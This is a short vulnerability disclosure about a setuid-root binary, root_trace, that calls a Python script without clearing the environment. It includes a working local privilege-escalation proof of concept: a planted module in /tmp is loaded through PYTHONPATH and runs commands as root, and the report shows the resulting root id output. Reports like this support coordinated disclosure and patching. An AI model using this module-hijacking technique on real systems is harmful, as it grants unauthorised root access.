The setuid root executable /usr/local/bin/root_trace essentially just does setuid(0) then system("/usr/local/bin/masterd"), which is a python script:

$ ls -l /usr/local/bin/root_trace 
-rwsr-xr-x 1 root root 12376 Oct 17  2014 /usr/local/bin/root_trace

As the environment is not scrubbed, you can just do something like this:

$ cat /tmp/sysd.py
import os
os.system("id")
os._exit(0);
$ PYTHONPATH=/tmp root_trace
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.